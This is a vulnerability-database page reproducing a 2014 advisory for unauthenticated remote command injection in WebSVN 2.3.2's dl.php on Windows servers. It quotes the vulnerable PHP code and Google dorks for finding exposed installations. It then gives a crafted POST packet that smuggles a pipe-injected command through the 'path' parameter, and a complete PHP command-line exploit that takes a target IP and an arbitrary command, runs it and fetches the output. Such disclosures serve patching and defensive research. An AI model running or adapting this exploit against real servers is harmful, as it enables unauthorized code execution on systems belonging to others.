Lucene search
K

WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Command Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Command Injection vulnerability in WebSVN 2.3.

Code

                                                WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote 
Commands Injection Vulnerability

tested against: Microsoft Windows Server R2 SP2 
                PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
                Apache 2.2.17 VC9

Introduction:
This is a very special vulnerabilty, given the incredibly high number 
of machines involved. This can be verified by submitting the following
queries to Google:

"Powered by WebSVN * and Subversion"
"Powered by WebSVN 2.3.2 and Subversion"

homepage url: http://websvn.tigris.org/

Description says:
"WebSVN offers a view onto your subversion repositories that's been designed to 
reflect the Subversion methodology. You can view the log of any file or directory
and see a list of all the files changed, added or deleted in any given revision.
You can also view compare two versions of a file so as to see exactly what was 
changed in a particular revision.

Since it's written using PHP, WebSVN is very portable and easy to install."

Vulnerabilty:

Without prior authentication, if the 'allowDownload' option is enabled 
in config.php, meaning that a tarball download is allowed across all the 
repositories (not uncommon), an attacker can invoke the dl.php script
and passing a well formed 'path' argument to execute arbitrary
commands against the underlying operating system.


Vulnerable code:

look at dl.php, lines 114-139:

...
} else {
		@unlink($tempDir);
		mkdir($tempDir);
		// Create the name of the directory being archived
		$archiveName = $path;
		$isDir = (substr($archiveName, -1) == '/');
		if ($isDir) {
			$archiveName = substr($archiveName, 0, -1);
		}
		$archiveName = basename($archiveName);
		if ($archiveName == '') {
			$archiveName = $rep->name;
		}
		$plainfilename = $archiveName;
		$archiveName .= '.r'.$rev;
                
		// Export the requested path from SVN repository to the temp directory
		$svnExportResult = $svnrep->exportRepositoryPath($path, $tempDir.DIRECTORY_SEPARATOR.$archiveName, $rev, $peg);
		
                if ($svnExportResult != 0) {
			header('HTTP/1.x 500 Internal Server Error', true, 500);
			error_log('svn export failed for: '.$archiveName);
			print 'svn export failed for "'.xml_entities($archiveName).'".';
			removeDirectory($tempDir);
			exit(0);
		}
...


then look at exportRepositoryPath() function inside ./include/svnlook.php, lines 879-896:
...
// {{{ exportDirectory
	//
	// Exports the directory to the given location

	function exportRepositoryPath($path, $filename, $rev = 0, $peg = '') {
		$cmd = $this->svnCommandString('export', $path, $rev, $peg).' '.quote($filename); //<---------------
		$retcode = 0;
                
		execCommand($cmd, $retcode); //<----------------------
                
		if ($retcode != 0) {
			global $lang;
			error_log($lang['BADCMD'].': '.escape($cmd));
		}
		return $retcode;
	}

	// }}}
...

again look at execCommand() function inside ./include/command.php, lines 107-123:

...
// {{{ execCommand

function execCommand($cmd, &$retcode) {
	global $config;

	// On Windows machines, the whole line needs quotes round it so that it's
	// passed to cmd.exe correctly
	// Since php 5.3.0 the quoting seems to be done internally

	if ($config->serverIsWindows && version_compare(PHP_VERSION, '5.3.0alpha') === -1) {
		$cmd = '"'.$cmd.'"'; //<------------ nonsense ...
	}

	return @exec($cmd, $tmp, $retcode); //<--------------------- boom
}

// }}}
...


also, look at quote() inside ./include/command.php:

...
// {{{ quote
//
// Quote a string to send to the command line

function quote($str) {
	global $config;

	if ($config->serverIsWindows) {
		return '"'.$str.'"'; //<--------------------------- !!!
	} else {
		return escapeshellarg($str); //<------------ this should work properly on Linux instead
	}
}

// }}}
...


Example packet:

POST /websvn/dl.php HTTP/1.1
User-Agent: Mozilla/4.0
Host: 192.168.0.1
Accept: */*
Cookie: storedsesstemplate=.%00; storedtemplate=.%00;
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

path=./../../x%22%7Cver%3Esuntzu.txt%7C%22


the resulting command line is like this:

"c:\SVN\bin\svn" --non-interactive --config-dir C:\SVN\tmp\export "URL%20to%20repository%20%28e.g.%20file:///d:/SubVersion/proj%29./../../x%22%7Cver%3Esuntzu.txt%7C%22@" "C:\Documents and Settings
\Administrator\Local Settings\Temp\web554.tmp\x"|ver>suntzu.txt|".r"

allowing you to inject arbitrary commands via the pipe char.

Proof of concept code:

<?php
/*
  WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Exploit
  by rgod

  download url: http://websvn.tigris.org/

  tested against: Microsoft Windows Server R2 SP2 
                  PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
                  Apache 2.2.17 VC9 
                  
  it needs the allowDownload option enabled in config.php, meaning
  that a tarball download is allowed across all the repositories
  (not uncommon)                  
  
*/
    error_reporting(E_ALL ^ E_NOTICE);     
    set_time_limit(0);
    
	$err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";

    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    
	function syntax() {
       print("usage  : php 9sg_websvn.php [ip_address] [command]\r\n" );
       print("example: php 9sg_websvn.php 192.168.0.1 ver\r\n" );
       die();
    }
    
	$argv[2] ? print("[*] Attacking...\n") :
    syntax();
    
	if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }
        
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        }
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Cookie: storedsesstemplate=.%00; storedtemplate=.%00;  ".$ck ,
            

        )); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0");
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
         
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            //die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }
          $host = $argv[1];
          $port = 80;
          $cmd = $argv[2];



$url = "http://$host:$port/websvn/dl.php";
$out = _s($url, 1, "", "path=./../../x".urlencode("\"|".$cmd.">suntzu.txt|\""));
//print($out."\n");

sleep(1);

$url = "http://$host:$port/websvn/suntzu.txt";
$out = _s($url, 0, "", "");
print($out."\n");


?>


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation